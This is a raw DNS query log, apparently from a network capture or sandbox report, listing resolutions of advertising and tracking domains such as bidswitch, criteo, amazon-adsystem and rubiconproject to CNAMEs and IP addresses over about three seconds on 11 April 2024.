Apr 11, 2024 23:27:04.586045980 CEST	1.1.1.1	192.168.2.17	0xbaa5	No error (0)	r.bidswitch.net	pool-use-gce-sc.reims.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.587008953 CEST	1.1.1.1	192.168.2.17	0xa7ba	No error (0)	r.bidswitch.net	pool-use-gce-sc.reims.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.587008953 CEST	1.1.1.1	192.168.2.17	0xa7ba	No error (0)	pool-use-gce-sc.reims.iponweb.net		35.211.118.13	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.632518053 CEST	1.1.1.1	192.168.2.17	0x4b30	No error (0)	aorta.clickagy.com		18.205.145.170	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.632518053 CEST	1.1.1.1	192.168.2.17	0x4b30	No error (0)	aorta.clickagy.com		34.237.122.58	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.632518053 CEST	1.1.1.1	192.168.2.17	0x4b30	No error (0)	aorta.clickagy.com		3.222.58.81	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.632518053 CEST	1.1.1.1	192.168.2.17	0x4b30	No error (0)	aorta.clickagy.com		3.227.144.57	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.632518053 CEST	1.1.1.1	192.168.2.17	0x4b30	No error (0)	aorta.clickagy.com		44.196.90.96	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.632518053 CEST	1.1.1.1	192.168.2.17	0x4b30	No error (0)	aorta.clickagy.com		18.209.218.166	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.632518053 CEST	1.1.1.1	192.168.2.17	0x4b30	No error (0)	aorta.clickagy.com		34.238.178.218	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.632518053 CEST	1.1.1.1	192.168.2.17	0x4b30	No error (0)	aorta.clickagy.com		34.225.234.195	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.661570072 CEST	1.1.1.1	192.168.2.17	0x3c35	No error (0)	config.aps.amazon-adsystem.com		108.138.106.70	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.661570072 CEST	1.1.1.1	192.168.2.17	0x3c35	No error (0)	config.aps.amazon-adsystem.com		108.138.106.56	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.661570072 CEST	1.1.1.1	192.168.2.17	0x3c35	No error (0)	config.aps.amazon-adsystem.com		108.138.106.108	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.661570072 CEST	1.1.1.1	192.168.2.17	0x3c35	No error (0)	config.aps.amazon-adsystem.com		108.138.106.59	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.706156015 CEST	1.1.1.1	192.168.2.17	0x94a3	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.706156015 CEST	1.1.1.1	192.168.2.17	0x94a3	No error (0)	gum.us5.vip.prod.criteo.com		74.119.117.17	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.706501961 CEST	1.1.1.1	192.168.2.17	0xf0f6	No error (0)	gum.criteo.com	gum.us5.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.761925936 CEST	1.1.1.1	192.168.2.17	0x8f00	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.762346983 CEST	1.1.1.1	192.168.2.17	0xe7cb	No error (0)	c.amazon-adsystem.com	d1ykf07e75w7ss.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:04.762346983 CEST	1.1.1.1	192.168.2.17	0xe7cb	No error (0)	d1ykf07e75w7ss.cloudfront.net		108.138.115.149	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.858916044 CEST	1.1.1.1	192.168.2.17	0x2a76	No error (0)	sync.aralego.com		192.96.203.13	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.991019964 CEST	1.1.1.1	192.168.2.17	0x27d5	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:04.991019964 CEST	1.1.1.1	192.168.2.17	0x27d5	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.002587080 CEST	1.1.1.1	192.168.2.17	0xd4c	No error (0)	sync1.intentiq.com		108.139.47.46	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.002587080 CEST	1.1.1.1	192.168.2.17	0xd4c	No error (0)	sync1.intentiq.com		108.139.47.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.002587080 CEST	1.1.1.1	192.168.2.17	0xd4c	No error (0)	sync1.intentiq.com		108.139.47.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.002587080 CEST	1.1.1.1	192.168.2.17	0xd4c	No error (0)	sync1.intentiq.com		108.139.47.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.200073004 CEST	1.1.1.1	192.168.2.17	0x404e	No error (0)	cs.krushmedia.com		8.2.110.134	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.260685921 CEST	1.1.1.1	192.168.2.17	0xd9fd	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.260685921 CEST	1.1.1.1	192.168.2.17	0xd9fd	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.261338949 CEST	1.1.1.1	192.168.2.17	0x1a8b	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:05.302427053 CEST	1.1.1.1	192.168.2.17	0x9858	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.302427053 CEST	1.1.1.1	192.168.2.17	0x9858	No error (0)	hbprebid-v3.pubmnet.com	gob-pairb-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.302427053 CEST	1.1.1.1	192.168.2.17	0x9858	No error (0)	gob-pairb-nje1.pubmnet.com		207.65.37.179	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.303401947 CEST	1.1.1.1	192.168.2.17	0xf552	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.303401947 CEST	1.1.1.1	192.168.2.17	0xf552	No error (0)	hbprebid-v3.pubmnet.com	gob-sv3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.309390068 CEST	1.1.1.1	192.168.2.17	0x9c48	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.310086966 CEST	1.1.1.1	192.168.2.17	0xf60f	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313432932 CEST	1.1.1.1	192.168.2.17	0x1955	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313432932 CEST	1.1.1.1	192.168.2.17	0x1955	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313432932 CEST	1.1.1.1	192.168.2.17	0x1955	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313432932 CEST	1.1.1.1	192.168.2.17	0x1955	No error (0)	d1jvc9b8z3vcjs.cloudfront.net		18.164.99.9	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313721895 CEST	1.1.1.1	192.168.2.17	0x786a	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313721895 CEST	1.1.1.1	192.168.2.17	0x786a	No error (0)	us-east-tlx.3lift.com		3.208.175.5	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313721895 CEST	1.1.1.1	192.168.2.17	0x786a	No error (0)	us-east-tlx.3lift.com		34.192.42.219	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313721895 CEST	1.1.1.1	192.168.2.17	0x786a	No error (0)	us-east-tlx.3lift.com		3.226.121.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313721895 CEST	1.1.1.1	192.168.2.17	0x786a	No error (0)	us-east-tlx.3lift.com		3.233.167.98	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313721895 CEST	1.1.1.1	192.168.2.17	0x786a	No error (0)	us-east-tlx.3lift.com		54.158.18.149	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313766003 CEST	1.1.1.1	192.168.2.17	0x4dcd	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313766003 CEST	1.1.1.1	192.168.2.17	0x4dcd	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.313766003 CEST	1.1.1.1	192.168.2.17	0x4dcd	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.314162970 CEST	1.1.1.1	192.168.2.17	0x6b9f	No error (0)	tlx.3lift.com	us-east-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.314331055 CEST	1.1.1.1	192.168.2.17	0xdcfd	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.314640045 CEST	1.1.1.1	192.168.2.17	0x776f	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.507781982 CEST	1.1.1.1	192.168.2.17	0x86dd	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.509466887 CEST	1.1.1.1	192.168.2.17	0x12e3	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.773705959 CEST	1.1.1.1	192.168.2.17	0x2b13	No error (0)	aax-eu.amazon-adsystem.com		54.239.33.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.937459946 CEST	1.1.1.1	192.168.2.17	0x6677	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.938244104 CEST	1.1.1.1	192.168.2.17	0xb190	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.983175039 CEST	1.1.1.1	192.168.2.17	0x4efd	No error (0)	pdmp.dcapi.tagger.opecloud.com		50.16.98.63	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.983175039 CEST	1.1.1.1	192.168.2.17	0x4efd	No error (0)	pdmp.dcapi.tagger.opecloud.com		52.207.139.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.983175039 CEST	1.1.1.1	192.168.2.17	0x4efd	No error (0)	pdmp.dcapi.tagger.opecloud.com		18.235.68.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.984246969 CEST	1.1.1.1	192.168.2.17	0x1db8	No error (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	pdmp.profiles.tagger.opecloud.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.985177994 CEST	1.1.1.1	192.168.2.17	0xc532	No error (0)	pdmp.papi-public.us-east-1.tagger.opecloud.com	pdmp.profiles.tagger.opecloud.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:05.985177994 CEST	1.1.1.1	192.168.2.17	0xc532	No error (0)	pdmp.profiles.tagger.opecloud.com		34.239.40.49	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:05.985177994 CEST	1.1.1.1	192.168.2.17	0xc532	No error (0)	pdmp.profiles.tagger.opecloud.com		34.233.81.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.036228895 CEST	1.1.1.1	192.168.2.17	0xc5e4	No error (0)	sync.crwdcntrl.net		54.83.194.95	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.036228895 CEST	1.1.1.1	192.168.2.17	0xc5e4	No error (0)	sync.crwdcntrl.net		18.214.198.116	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.036228895 CEST	1.1.1.1	192.168.2.17	0xc5e4	No error (0)	sync.crwdcntrl.net		54.81.163.163	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.036228895 CEST	1.1.1.1	192.168.2.17	0xc5e4	No error (0)	sync.crwdcntrl.net		44.215.35.42	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.036228895 CEST	1.1.1.1	192.168.2.17	0xc5e4	No error (0)	sync.crwdcntrl.net		34.205.179.33	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.036228895 CEST	1.1.1.1	192.168.2.17	0xc5e4	No error (0)	sync.crwdcntrl.net		50.19.235.224	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.036228895 CEST	1.1.1.1	192.168.2.17	0xc5e4	No error (0)	sync.crwdcntrl.net		3.223.165.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.036228895 CEST	1.1.1.1	192.168.2.17	0xc5e4	No error (0)	sync.crwdcntrl.net		44.195.233.246	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.101707935 CEST	1.1.1.1	192.168.2.17	0xbce4	No error (0)	esp.rtbhouse.com		35.190.39.111	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.328121901 CEST	1.1.1.1	192.168.2.17	0xfe27	No error (0)	live.primis.tech	d2wcz8sc48ztgm.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.328121901 CEST	1.1.1.1	192.168.2.17	0xfe27	No error (0)	d2wcz8sc48ztgm.cloudfront.net		18.164.124.67	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.328121901 CEST	1.1.1.1	192.168.2.17	0xfe27	No error (0)	d2wcz8sc48ztgm.cloudfront.net		18.164.124.82	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.328121901 CEST	1.1.1.1	192.168.2.17	0xfe27	No error (0)	d2wcz8sc48ztgm.cloudfront.net		18.164.124.14	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.328121901 CEST	1.1.1.1	192.168.2.17	0xfe27	No error (0)	d2wcz8sc48ztgm.cloudfront.net		18.164.124.109	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.329292059 CEST	1.1.1.1	192.168.2.17	0xb7ab	No error (0)	live.primis.tech	d2wcz8sc48ztgm.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.522480965 CEST	1.1.1.1	192.168.2.17	0xdde5	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.522480965 CEST	1.1.1.1	192.168.2.17	0xdde5	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.522917986 CEST	1.1.1.1	192.168.2.17	0x5729	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match-us-east-1-ecs.sharethrough.com		52.20.251.183	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match-us-east-1-ecs.sharethrough.com		34.228.96.208	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match-us-east-1-ecs.sharethrough.com		100.24.234.240	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match-us-east-1-ecs.sharethrough.com		3.232.214.186	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match-us-east-1-ecs.sharethrough.com		3.226.40.12	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match-us-east-1-ecs.sharethrough.com		18.213.14.175	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match-us-east-1-ecs.sharethrough.com		54.161.39.247	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620099068 CEST	1.1.1.1	192.168.2.17	0x3d2d	No error (0)	match-us-east-1-ecs.sharethrough.com		34.206.112.136	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.620799065 CEST	1.1.1.1	192.168.2.17	0x73bd	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		52.200.127.82	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		52.204.102.159	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		35.171.243.167	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		52.203.209.158	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		54.145.150.119	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		34.197.249.125	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		35.172.0.124	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779733896 CEST	1.1.1.1	192.168.2.17	0x48b1	No error (0)	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		34.195.106.1	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779757023 CEST	1.1.1.1	192.168.2.17	0x9add	No error (0)	ce.lijit.com	ce-ue1.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.779757023 CEST	1.1.1.1	192.168.2.17	0x9add	No error (0)	ce-ue1.lijit.com	raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:06.862929106 CEST	1.1.1.1	192.168.2.17	0x712e	No error (0)	google-bidout-d.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.862929106 CEST	1.1.1.1	192.168.2.17	0x712e	No error (0)	google-bidout-d.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.864890099 CEST	1.1.1.1	192.168.2.17	0xa65a	No error (0)	oajs.openx.net		34.120.135.53	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.864890099 CEST	1.1.1.1	192.168.2.17	0xa65a	No error (0)	oajs.openx.net		34.120.107.143	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.949666977 CEST	1.1.1.1	192.168.2.17	0xb14b	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.949666977 CEST	1.1.1.1	192.168.2.17	0xb14b	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:06.951407909 CEST	1.1.1.1	192.168.2.17	0x19c4	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Apr 11, 2024 23:27:07.113467932 CEST	1.1.1.1	192.168.2.17	0x3136	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.113467932 CEST	1.1.1.1	192.168.2.17	0x3136	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.113467932 CEST	1.1.1.1	192.168.2.17	0x3136	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.113467932 CEST	1.1.1.1	192.168.2.17	0x3136	No error (0)	d1jvc9b8z3vcjs.cloudfront.net		18.164.99.9	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.114018917 CEST	1.1.1.1	192.168.2.17	0xf3da	No error (0)	aax.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.114018917 CEST	1.1.1.1	192.168.2.17	0xf3da	No error (0)	aax-dtb-cf.amazon-adsystem.com	aax-dtb-cf.amazon-adsystem.amazon.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.114018917 CEST	1.1.1.1	192.168.2.17	0xf3da	No error (0)	aax-dtb-cf.amazon-adsystem.amazon.com	d1jvc9b8z3vcjs.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.151885986 CEST	1.1.1.1	192.168.2.17	0xfa48	No error (0)	pixel-us-east.rubiconproject.com	pixel-us-east.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.153378010 CEST	1.1.1.1	192.168.2.17	0xfa89	No error (0)	pixel-us-east.rubiconproject.com	pixel-us-east.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.160994053 CEST	1.1.1.1	192.168.2.17	0x31b3	No error (0)	data.adsrvr.org	match.adsrvr.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.160994053 CEST	1.1.1.1	192.168.2.17	0x31b3	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.160994053 CEST	1.1.1.1	192.168.2.17	0x31b3	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.160994053 CEST	1.1.1.1	192.168.2.17	0x31b3	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.160994053 CEST	1.1.1.1	192.168.2.17	0x31b3	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.161036015 CEST	1.1.1.1	192.168.2.17	0xf979	No error (0)	data.adsrvr.org	match.adsrvr.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.323079109 CEST	1.1.1.1	192.168.2.17	0x1f42	No error (0)	s0.2mdn.net		142.250.176.198	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.335114002 CEST	1.1.1.1	192.168.2.17	0x22c6	No error (0)	sync.technoratimedia.com	adserver.technoratimedia.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.335114002 CEST	1.1.1.1	192.168.2.17	0x22c6	No error (0)	adserver.technoratimedia.com		150.136.25.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.335566044 CEST	1.1.1.1	192.168.2.17	0xb4b9	No error (0)	sync.technoratimedia.com	adserver.technoratimedia.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.416600943 CEST	1.1.1.1	192.168.2.17	0xca34	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.416600943 CEST	1.1.1.1	192.168.2.17	0xca34	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.417354107 CEST	1.1.1.1	192.168.2.17	0x668b	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.417354107 CEST	1.1.1.1	192.168.2.17	0x668b	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:27:07.602507114 CEST	1.1.1.1	192.168.2.17	0xd23	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
